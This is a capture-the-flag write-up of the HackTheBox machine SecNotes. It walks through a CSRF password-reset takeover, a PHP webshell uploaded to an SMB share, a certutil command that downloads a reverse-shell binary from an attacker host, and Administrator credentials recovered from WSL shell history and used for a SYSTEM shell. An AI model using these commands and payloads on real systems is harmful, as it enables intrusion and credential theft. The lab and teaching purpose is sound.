Overview

SecNotes is a medium HackTheBox Windows machine running a notes application whose “Change Password” feature accepts a plain GET request with no confirmation and no CSRF protection. Combined with a “Contact Us” form that has another user click any link sent to them, this becomes an account takeover: crafting a change-password URL and mailing it to tyler resets their password without their knowledge. That account’s notes reveal SMB credentials for a second, IIS-hosted site, which is writable over SMB, enough to drop a PHP webshell and get a foothold. Privilege escalation recovers Administrator credentials left behind in a Windows Subsystem for Linux (WSL) instance’s bash_history file.

Attack Chain

  • Scan the target and find HTTP on 80 and 8808, plus SMB
  • Register an account on the port 80 notes application and explore its features
  • Notice the “Change Password” feature sends an unauthenticated, unconfirmed GET request
  • Confirm the “Contact Us” feature causes another user, tyler, to visit any link sent to them
  • Craft a change-password URL and send it to tyler via the contact form, resetting their password
  • Log in as tyler and find a note containing SMB credentials for a second account
  • Verify the credentials over SMB with netexec, but find no interactive shell access
  • Enumerate SMB shares and find new-site, matching the default IIS page on port 8808
  • Confirm the share is writable by uploading a test file and viewing it over HTTP
  • Upload a PHP webshell to the share and trigger it through port 8808
  • Use the webshell to transfer and execute an rcat reverse shell via certutil
  • Catch a shell as tyler and read the user flag
  • Find evidence of WSL (Windows Subsystem for Linux) on tyler’s desktop and confirm it’s installed via the registry
  • Locate the WSL root filesystem and read its .bash_history file
  • Recover Administrator credentials left in the shell history
  • Verify the credentials with netexec and use impacket-psexec for an interactive SYSTEM shell
  • Read the system flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.1.43; export NAME=SECNOTES; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

80,445,8808

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Exploring the Notes App

We land on a login page.

login page

We register a new user via Sign up now.

Test:Pass1234

registering a new user

We log in and find another user, tyler@secnotes.htb.

logged in, tyler@secnotes.htb visible

We create a New Note.

creating a new note

We save it, and it redirects to the dashboard with our new note.

note saved, redirected to dashboard

We navigate to Change Password and change it to Pass12345.

changing the password

Clicking submit takes us to the main dashboard.

redirected to the dashboard after changing password

Discovering the CSRF Vulnerability

Looking at the Change Password request in BurpSuite, it sends parameters to /change_pass.php with no confirmation or approval step.

the change_pass.php request in BurpSuite

On the Contact Us page, we can send a message to tyler@secnotes.htb.

the Contact Us page

We send a test message and get redirected to the dashboard with a Message Sent notification.

message sent notification

We test what happens when we send a URL pointing to our Python server in the contact form.

sending a URL to our Python server

We receive the request on our Python server.

request received on our Python server


Foothold

CSRF Account Takeover

Since tyler clicks on links sent to them, we can craft a change-password URL, the endpoint doesn’t require additional confirmation. It’s a GET request, so we test it locally first.

http://10.129.1.43/change_pass.php?password=PassTest123&confirm_password=PassTest123&submit=submit

We get the Password updated notification.

local CSRF test succeeds

We send the link to tyler via the contact form.

sending the CSRF link to tyler

After waiting a minute, we log in as tyler with PassTest123. We find a note called “new site,” which contains credentials.

logging in as tyler and finding the new site note

tyler:92g!mA8BGjOirkL%OG*&

Finding a Writable SMB Share

SMB and WinRM are open on the target. We test the credentials with netexec.

nxc smb $IP -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --local-auth

The credentials are verified over SMB, but we don’t have shell access.

netexec verifies the SMB credentials

We enumerate available shares.

smbclient -L //$IP --user='tyler' --password='92g!mA8BGjOirkL%OG*&'

We see the share new-site.

smbclient finds the new-site share

We view its contents.

smbclient //$IP/new-site --user='tyler' --password='92g!mA8BGjOirkL%OG*&'

This looks like default IIS webserver files, different from what’s on port 80.

new-site contains default IIS files

Confirming Write Access on Port 8808

Port 8808 shows a default IIS landing page, matching the files on the new-site share.

default IIS page on port 8808

We check whether we can add a file to the share and view it on port 8808. We create a test text file.

creating a test file

We transfer it to the share.

transferring the test file to the share

We can view it on the web page.

viewing the test file over HTTP

Uploading a PHP Webshell

We create a basic PHP webshell.

<?php system($_GET['cmd']); ?>

the basic PHP webshell

We upload it.

put exploits/basicshell.php basicshell.php

uploading the webshell

We confirm it works.

confirming the webshell works

We switch to curl for easier command execution.

curl -s "http://10.129.1.43:8808/basicshell.php" --data-urlencode "cmd=whoami" -G

running commands via curl

Reverse Shell as tyler

We transfer an rcat reverse shell to the target on port 443, hosting the payload on a Python server.

curl -s "http://10.129.1.43:8808/basicshell.php" --data-urlencode "cmd=certutil.exe -urlcache -f http://10.10.14.23/rcat.exe C:\ProgramData\rcat_10.10.14.23_443.exe" -G

transferring rcat.exe with certutil

We start a nc listener on port 443 with rlwrap -cAr and execute the payload.

curl -s "http://10.129.1.43:8808/basicshell.php" --data-urlencode "cmd=cmd /c C:\ProgramData\rcat_10.10.14.23_443.exe" -G

executing the payload

We catch a shell as tyler.

shell as tyler

We read the user flag.

user flag


Privilege Escalation

Finding WSL

We look at tyler’s Desktop and see a bash.lnk file.

bash.lnk file on the desktop

We also find C:\Distros\Ubuntu.

C:\\Distros\\Ubuntu found

This points to Windows Subsystem for Linux (WSL). We check whether it’s installed via the registry.

Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096

This confirms WSL is installed.

registry confirms WSL is installed

Recovering Credentials from bash_history

We enumerate the install directory from the BasePath in the previous output.

ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root

Following the directories, we reach .bash_history.

locating .bash_history

We view the file.

type C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\.bash_history

We find credentials used with smbclient.

credentials found in bash_history

administrator:u6!4ZwgwOM#^OBf#Nwnh

Note: the % character in the original output splits the username and password for smbclient, which is why it doesn’t appear here.

SYSTEM Shell as Administrator

We test the credentials with netexec.

nxc smb $IP -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' --local-auth

The credentials are confirmed.

netexec confirms the Administrator credentials

We use impacket-psexec for an interactive shell.

impacket-psexec  Administrator:'u6!4ZwgwOM#^OBf#Nwnh'@$IP

We have a shell as nt authority\system.

shell as SYSTEM

We read the system flag.

system flag


Key Takeaways

SecNotes shows how CSRF protection isn’t optional even for “convenience” features, a change-password endpoint that trusts a plain GET request with no confirmation step becomes a full account takeover the moment there’s any way to get a victim to click a link, and a built-in “contact this user” feature was exactly that delivery mechanism. Once inside, an SMB share that mirrors a live web root turned into an immediate upload-to-RCE path. The final privilege escalation is a reminder that WSL instances carry their own independent filesystem, complete with their own shell history, a frequently overlooked place for credentials to leak on Windows hosts that developers have used for Linux-side tooling.